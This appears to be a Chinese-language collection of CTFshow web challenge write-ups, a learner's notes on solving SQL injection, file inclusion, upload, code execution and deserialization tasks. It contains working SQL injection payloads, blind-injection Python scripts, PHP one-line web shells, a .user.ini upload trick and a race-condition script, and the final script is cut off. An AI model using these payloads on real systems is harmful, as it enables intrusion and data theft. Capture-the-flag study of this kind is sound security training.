0%

CTFSHOW第一部分web题wp整理

CTFSHOW第一部分web题wp整理

web2

用户名和密码都是注入点
第一步:查询有几个字段: 1’ or 1=1 orde by 3# (4就没有列数了 判断之后3列)
第二步: 发现回显位置: 1’ union select 1,2,3 # 回显2 说明回显位置在2
第三步: 查看数据表名称: 1’ union select 1,database(),3 # 得到web2
第四步: 得到数据表 1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); #

1
2
**`group_concat(table_name)`**:`group_concat` 是一个 MySQL 内置的聚合函数,它将查询结果中的多个值连接成一个字符串。`table_name` 是 `information_schema.tables` 表中的列,存储了所有表的名字。
**`table_schema`**:表示数据库的名称,即该表属于哪个数据库

查到了有flag 和 user表
第五步: 查看列名 1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’flag’; #
(和上一步的区别就是用information_schema.后面的内容不一样) 发现只有flag这列
最后一步查询数据 1’ union selcet 1,group_concat(flag),3 from web2.flag; # (用xx.xx 来访问数据库和表)
或者1’ union select 1,(select flag from flag),3; #

web3

题面: <?php include($_GET['url']);?>
可以找到etc/passwd
法一: 利用之前dc系列靶机的思路 利用访问记录文件 用bp抓包写入一句话木马 然后用蚁剑连接
先找到真实的相对路径 用bp
|325
发现相对路径是三重
然后我们再用bp发一个请求
然后访问../../../var/log/nginx/access.log
这题和dc5那题不一样的是一句话木马要写在User-Agent那里 根据log文件回显内容来定

这里还因为ctfshow是https 所以还要修改这个其他设置
法二:利用php伪协议
/?url=php://input php脚本可以直接读取POST请求中的原始数据
|650
页面回显两个文件 进入查看flag

法二:sqlmap作弊 但是要花不少时间跑

web6


输入常见的sql注入语句之后会出现sql inject error 测试之后发现了空格被过滤
可以用/**/ 绕过 接着和常规sql注入一样
|375
过滤 or and xor not 绕过

1
2
3
4
and = && 
or = ||
xor = | # 异或
not = !

=绕过 like 大小于号过滤 !<>(<>等价于!=)

web8

基于布尔的sql注入

先去看看过滤了哪些字符
逐个尝试字符 发现 ‘ 空格 + and or union等等都给过滤了 但是select没有过滤 所以没有union页面的信息不能回显
怎么办呢? 数据库内置函数 ascii() 和 substr() 是可以将我们查询的字符串每个字符提取出来
sql injection payload:

1
id=-1||ascii(substr(({{select查询结果字符串}})/**/from/**/{{提取子串位置}}/**/for/**/1))={当前可能的字符ascii值}

这里的大括号只是占位符 实际应用的时候替换成实际需要的字符串,from {{提取子串位置}} 表示从第几个字符开始。for 1 表示提取 1 个字符。
这样子如果||后面的内容是true的话页面会有内容 如果是false就没有内容
这样子就遍历子串的位置 根据相应长度,可以判断字符在这个位置的具体字符(只有和这个具体字符匹配才能回显)
假设可能字符有 [a-z]|[A-Z]|[0-9]|{_,-,+,\,,\{,\}},那么每次尝试的可能字符有 97 种,因为要等服务器响应,所以算上延迟假设 0.5s。
通常一个 flag 的长度在 9 到 60,最坏时间要 0.5*60*97=2910s,所以还是要等很久,那么如何优化呢?
可以利用二分的思路

1
id=-1||ascii(substr(({select查询结果字符串})/**/from/**/{提取子串位置}/**/for/**/1))<={当前可能的字符ascii值}

运用二分查找可以,将查找 97 种的字符的平均次数降低为 6 次。因此再次计算最坏时间为 0.5*60*6=180s,当然实际情况会根据服务器响应速度降低很多。
编写py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
url = "http://390226a3-4612-416d-b31b-5f06c69cc09a.challenge.ctf.show/index.php?id=-1"
flag = ""


def check(mid, num):
sql = "/**/||/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{:d}/**/for/**/1))<={:d}".format(num,mid)
payload = url + sql
res = requests.get(payload)
return 'If' in res.text

def bsearch(l, r, num):
while l < r:
mid = (l + r) >> 1
if check(mid, num): r = mid # check()判断mid是否满足性质
else: l = mid + 1
return l

for num in range(1, 60):
l = 33
r = 130
res = bsearch(l, r, num)
if chr(res) == "!":
break
flag += chr(res)
print(f'第{num}次遍历结果:{flag}')

这里选择了!作为终止结束判断符的原因是 查询结果超出flag长度之后,数据库返回特殊字符
太nb了

web9

|475
用bp爆破密码之后没有结果 进入robots.txt 界面 发现有一个index.phps界面
文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

在 mysql 内,用作布尔型判断时,以 1 开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如 password=’ or ‘1xxxx’,那么就相当于 password=’ or 1,所以返回值就是 true
md5 (‘ffifdyop’,true)=’or’6xxxxxx 利用这个传入ffifdyop参数 在hackbar中输入password=ffifdyop 解决

web10


点击取消就自动下载附件了 代码审计题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

可以看到过滤可这些常用的sql注入语法
看看大佬的payload:

1
username= admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

这里我们要学习sql语句中的group by 和 with rollup 来源:https://www.cnblogs.com/GTL-JU/p/16097234.html
GROUP BY 函数 :
GROUP BY 函数用于对查询结果进行分类。它后面跟随的字段指定了分类的依据。
例如: sql SELECT student FROM students GROUP BY age; -- 按照年龄将学生分类
WITH ROLLUP 函数:
WITH ROLLUP 函数通常跟在 GROUP BY 函数后面,用于对分类后的数据进行汇总统计。它会在 GROUP BY 函数的基础上生成汇总行,通常是按各分类的统计数据进行合计。加入 WITH ROLLUP 后,结果中会出现一行 passwordNULL
只进行group by函数 :

和with rollup一起啊使用:

web11

 
 要让password和session中的password一样 用bp抓包修改
 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 GET /login.php?password= HTTP/1.1
Host: 6187d084-3db8-49d8-ace9-864432c9ca24.challenge.ctf.show
Cookie:
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://6187d084-3db8-49d8-ace9-864432c9ca24.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

这里吧Cookie清空 password也清空
解释: Session 通常依赖 Cookie 来存储 Session ID,例如:setcookie("PHPSESSID", session_id(), time() + 3600, "/");
当用户访问服务器时,浏览器会自动携带 PHPSESSID,从而服务器可以找到对应的 Session 数据。

web12


查看网页源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|   |   |
|---|---|
||<html lang="zh-CN">|
|||
||<head>|
||<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />|
||<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />|
||<title>ctf.show_web12</title>|
||</head>|
||<body>|
||<center>|
||<h2>ctf.show_web12</h2>|
||<h4>where is the flag?</h4>|
||<!-- hit:?cmd= -->|
|||
||</body>|
||</html>|
|||

提示输入?cmd= 输入?cmd=phpinfo();测试 发现可以执行这个命令 说明有远程执行漏洞
方法1:用一句话木马 然后用蚁剑连接 cmd=@eval($_POST[%27a%27]);
但是连接进去之后报错

这是有些网站中会禁用 php 中的一些危险函数,导致即使上传马上去,也执行不了命令,很典型的就是宝塔的网站。 下载绕过 disable_functions 插件
蚁剑的插件市场要访问github要在设置代理 修改成梯子的代理

|500
选择这个模式终于可以访问终端

1
2
3
4
5
(www-data:/var/www/html) $ cat 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php
<?php
$flag="ctfshow{9fad8f78-6005-4246-8932-5ce7635a1647}";
?>
(www-data:/var/www/html) $

方法2: 用php中的glob函数 glob () 函数返回匹配指定模式的文件名或目录。 输入?cmd=print_r(glob('*'));
可以发现有两个php文件 有信息的那个php文件看不了 所以用highlight_file () 函数,可以使文件内容高亮显示,常用于读取文件
?cmd=highlight_file(%27903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php%27);

方法3: 用scandir('*'); 函数 和2 差不多

红包题第二弹

查看源码 提示输入cmd 用get请求传入cmd 给出php源码

这里过滤了很多符号 只有p . \ = < > ? 和反引号没有被屏蔽

  1. PHP 上传机制:

    在 php 中,使用 Content-Type: multipart/form-data; 上传文件时,会将它保存在临时文件中,在 php 的配置中 upload_tmp_dir 参数为保存临时文件的路经,linux 下面默认为 /tmp。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abc

  2. PHP 中反引号作用:在 php 里面反引号里面的内容会被当做 shell 命令被执行。例如 会直接当作命令执行

  3. . 号相当于 source 命令,这个命令可以直接把文件内容当作命令执行,相当于把文件直接当作 shell 脚本执行

  4. <?= 相当于 <?php ehco 的简写版

  5. ? 相当于字符的通配符

  6. + 相当于空格

  7. payload 构造

1
2
3
4
5
6
7
> /?cmd=?><?=`.+/??p/p?p??????`;
`?>`:闭合前面的 `<?php` 命令
`<?=`:相当于 `<?php echo`
反引号:执行命令
`.` 相当于 `source` 命令
`+`:相当于空格
`?`:文字通配符,负责执行上传的临时文件

payload中用了??p 替代了tmp p?p 代替php
先用hackbar发送post但是不传数据 然后指定
发送下面请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: ee6eb8bb-2686-490f-84db-a4abf42beb04.challenge.ctf.show
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 244

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------10242300956292313528205888--

我刚看到wp中的这个请求包也是一头雾水,把bp中抓的包发送到repeater中,然后修改第一行,请求方式改成POST,cmd传入payload
然后在Connection: close后面加上哪些参数,boundary可以自己定义。
使用Content-Type: multipart/form-data

web13


题目这里只有一个上传文件按钮
如果我随便上传一个文件会显示error file zise ,说明对文件的大小有限制 并且上传界面在/upload.php中
根据网上的wp,知道如果想要看源文件,一般可以从.bak .git .hg .DS_Store 获取,所以输入/upload.php.bak,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

这里要求文件的字符数要不大于24 名字不大于9个字符 后缀不大于3个字符 而且不让上传php文件
所以我们在a.txt中写入一句话木马,先
在 php 中 “.user.ini” 有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。有两种方法:
auto_prepend_file: 在页面顶部加载文件
auto_append_file: 在页面底部加载文件
先写这个.user.ini文件并上传 然后再上传一句话木马的.txt文件

1
2
3
4
5
#a.txt
<?= @eval($_POST['a']);#因为字符数限制,所以只能写这些

#.user.ini
auto_append_file=a.txt

但是用蚁剑连接之后看不到数据,我们就用post请求传入a 用glob找到目录
|500
然后再和web12一样用highlight_file()读取文件 (注意用单引号包裹文件)

web14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php  
include("secret.php");

if(isset($_GET['c'])){    $c intval($_GET['c']);    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

这里c参数选择3的时候,没有break,会继续向下执行
出现@A@here_1s_your_f1ag.php@A@提示 进入这个php 是一个登录界面
下一步就是sql注入了
查看源码 发现过滤的东西 空格也过滤了

1
2
3
4
5
|<!--|
||if(preg_match('/information_schema\.tables\|information_schema\.columns\|linestring\| \|polygon/is', $_GET['query'])){|
||die('@A@');|
||}|
||-->|

空格的绕过我们学过,这里没有过滤反引号
反引号:它是为了区分 MYSQL 的保留字与普通字符而引入的符号。
接下来就是sql注入的部分了:
1.爆库:-1/**/union/**/select/**/database(); 得到库名web
2.爆表:-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database(); 得到表名content
3.爆字段:-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='content'; 得到id,username,password
4.爆值: -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/web.content;
没有直接给出flag但是给了一些提示

提示secret 所以访问secret.php
要用load_file()函数读取这个文件
-1/**/union/**/select/**/load_file('/var/www/html/secret.php') 但是坑爹的是,没有直接回显,查看源码发现有多了

1
2
3
4
5
6
7
8
9
|   |
|---|
|<script>alert('<!-- ReadMe -->|
||<?php|
||$url = 'here_1s_your_f1ag.php';|
||$file = '/tmp/gtf1y';|
||if(trim(@file_get_contents($file)) === 'ctf.show'){|
||echo file_get_contents('/real_flag_is_here');|
||}')</script>|

所以再用load_file读

红包题第六弹

这题我感觉特别难,看着wp试着理解一下,首先这个题目给了一个登录界面,但是提示说不是sql注入需要找到关键源码。
扫一下网站的目录

1
2
3
4
5
6
7
8
9
10
11
12
```
┌──(root㉿kakeru)-[~/tmp]
└─# cat /root/tmp/reports/https_f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/__25-02-05_15-07-10.txt | grep ".zip"
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/vb.zip
200   576B   https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/web.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/website.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/wordpress.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/wp-config.php.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/wp.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/wwwroot.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/www.zip
200     2KB  https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/zipkin/

搜索zip的文件,然后把这个web.zip下载下来 , 这是网站源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function receiveStreamFile($receiveFile){

$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';

if(empty($streamData)){
$streamData = file_get_contents('php://input');
}

if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}

return $ret;

}
if(md5(date("i")) === $token){

$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}

$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}

$ret['errormsg']="token error";
echo json_encode($ret);
return;

可以看到中源码中有对token做判断。可以抓包看看,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /check.php?token=1f0e3dad99908345f7439f8ffabdffc4&php://input HTTP/1.1
Host: f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show
Content-Length: 27
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Origin: https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/vb.zip
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username or password error!

发现在第一行这里确实跟了一个token 我解密出来这个md5对应的值是19
源码中的逻辑是设置了一个 receivefile 为 flag.dat,然后调用 receiveStreamFile($receiveFile);,可以发现是需要用 php://input 获取文件流,然后返回一个文件,接下来需要自己传上去的文件与已存在的 key.dat 的 MD5 要一致,sha512 不一致,即可打印出 flag
所以首先要获取这个key.dat 可以从url处直接下载 接下来我们上传的文件的md5要一样 sha512不一样 需要用python实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time
import hashlib
import threading

# 这里为什么用分钟数生成:因为通过抓包发现改变分钟后token值才会变化
i = str(time.localtime().tm_min)
# 生成token
m = hashlib.md5(i.encode()).hexdigest()
url = "https://ad0204ed-4869-4879-96b1-fa5681393cdb.challenge.ctf.show/check.php?token={}&php://input".format(m)

def POST(data):
try:
r = requests.post(url, data=data)
if "ctfshow" in r.text:
print(r.text)
# print(r.text)
except Exception as e:
print("something went wrong!")

with open('/Users/kakeru/ctf/key.dat', 'rb') as t:
data1 = t.read()

for i in range(50):
threading.Thread(target=POST, args=(data1,)).start()
for i in range(50):
data2 = 'emmmmm'
threading.Thread(target=POST, args=(data2,)).start()

红包题第七弹


题目就给了一个phpinfo的界面,没有什么信息,用dirsearch扫描一下目录 扫一下PHP文件
这题考查的是.git泄漏 目录扫描之后会找到一个/.git/index文件
在linux中查看这个index的内容

1
2
3
DIRC^J??9??^Jw?!'???U??0wQW?8??>&?=??<<

                                       backdoor.php^J??8?ь^Jw? ?1???Am"?~?]?I???t? ??? index.phpTREE2 0

有一个backdoor.php文件,去看看是什么

1
<!-- 36D姑娘留的后门,闲人免进 -->

页面返回内容是这个,说明有个后门,但是不知道具体什么,这里后门是英文单词的后门Letmein (不知道怎么得到的)
hackbar post传入

1
Letmein=print_r (glob ("*"));

得到Array ( [0] => backdoor.php [1] => index.php )
用蚁剑连接之后在/var/www目录下面有flag.txt
|500
用hackbar中手动用highlight_file查看 得到flag
|475

萌新专属红包题

bp抓包然后爆破密码 得到密码之后登录

在页面的网络中有一个flag请求头,然后base64解码就能得到flag

1
2
3
4
┌──(root㉿kakeru)-[~/tmp]
└─# echo "Y3Rmc2hvd3tjZTBhNmI3Ni1jMGQxLTQyNWMtYjU0NC0yOTg5ZmVmNmFjZTN9" | base64 -d

ctfshow{ce0a6b76-c0d1-425c-b544-2989fef6ace3}

CTFshow web1

题目还是一个登录界面,但是可以注册,注册一个账号登录进去,有显示一个flag的信息

但是没有什么多余信息
用dirsearch扫到一个www.zip 下载下来就是网页的源代码
login.php这个源码中显示禁了很多字符,所以无法sql注入
在user_main.php中有关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SESSION["login"]) && $_SESSION["login"] === true) {
$con = mysqli_connect("localhost", "root", "root", "web15");
if (!$con) {
die('Could not connect: ' . mysqli_error());
}

$order = $_GET['order'];

if (isset($order) && strlen($order) < 6) {
if (preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i", $order)) {
die("error");
}
$sql = "select * from user order by $order";
} else {
$sql = "select * from user order by id";
}
}
?>

如果我们把order=pwd,就可以一直注册,根据密码排序,得到flag。
因为这里用orderby排序了,所以可以让我们注册的密码和flag的密码进行比较
一段来自网上的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 import requests
import hashlib

url = "https://69ffa319-8ced-4173-8a89-71f4446243aa.challenge.ctf.show/"


def reg(password):
data = {"username": password, "email": "1", "nickname": "1", "password": password}
r = requests.post(url=url + "reg.php", data=data, allow_redirects=False)
if r.status_code == 302:
return True
else:
return False


def login(username, password):
# proxy = {"http":"http://127.0.0.1:8080"}
data = {"username": username, "password": hashlib.md5(password.encode()).hexdigest()}
s = requests.session()
r = s.post(url=url + "login.php", data=data, allow_redirects=False)
# print(r.headers)
if r.headers["location"] == "/user_main.php?order=id":
return s
else:
print("login error!")
return None


key = "-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
reg(hashlib.md5("check".encode()).hexdigest())
session = login(hashlib.md5("check".encode()).hexdigest(), "check")

pwd = ["-"] * 100
for i in range(len(pwd)):
for x in range(len(key)):
pwd[i] = key[x]
_pwd = "".join(pwd)
if reg(_pwd):
r = session.get(url=url + "user_main.php?order=pwd")
if _pwd in r.text.split("flag_is_my_password")[1]:
pwd[i] = key[x - 1]
print("".join(pwd))
break

但是我用了网上的几个脚本都只能解密到一半就报错了。还是以后等自己python学好了写自己的脚本吧

game-gyctf web2


题目是一个登录系统,提示成员留后门。随便输入了一个用户名和密码提示用户不存在,输入admin用户提示密码错误,所以先尝试能不能爆破。爆破失败,但是扫描目录发现www.zip下载下来之后可以得到网页的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

要想登录成功就要让session [login]=1
后面的代码审计和反序列化字符逃逸对我来还是太难了,详情可以看这篇博客# CTFSHOW - 日刷 - game-gyctf web2/pop 链 - 反序列字符逃逸
最后在?action=update界面上传post数据
payload:

1
age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

然后出现10-0就说明成功 用admin/1就可以登录了

web15 Fishman

|500
题目又是一个登录界面,注册个账号看看.但是点注册跳转到的是qq的注册地址,而且又是一个代码审计题目
在网址输入/www.zip就可以下载源文件,扫描之后发现网站还有一个admin.目录
在member.php中存在sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
if (!defined('IN_CRONLITE')) {
exit();
}

$islogin = 0;

if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}

$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>

当查询返回的用户名为空且密码错误时,进行四次 setcookie 操作 当查询返回的用户名为不为空时,进行两次 setcookie 操作
大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#encoding=utf-8
import requests

url = "http://662305d4-5c5b-490d-bedf-dbc29ead878a.challenge.ctf.show/admin/"

def tamper(payload):
payload = payload.lower()
payload = payload.replace('u', '\\u0075')
payload = payload.replace('\'', '\\u0027')
payload = payload.replace('o', '\\u006f')
payload = payload.replace('i', '\\u0069')
payload = payload.replace('"', '\\u0022')
payload = payload.replace(' ', '\\u0020')
payload = payload.replace('s', '\\u0073')
payload = payload.replace('#', '\\u0023')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('<', '\\u003c')
payload = payload.replace('-', '\\u002d')
payload = payload.replace('=', '\\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return payload

#get database length
def databaseName_len():
print ("start get database name length...")
for l in range(0,45):
payload = "1' or (length(database())=" + str(l+1) + ")#"
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 1)):
print('get db length = ' + str(l).lower())
break

#get content
def get_databaseName():
flag = ''
for j in range(0, 15):
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('databasename = ' + flag.lower())
break

#get content
def get_tableName():
flag = ''
for j in range(0, 30): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
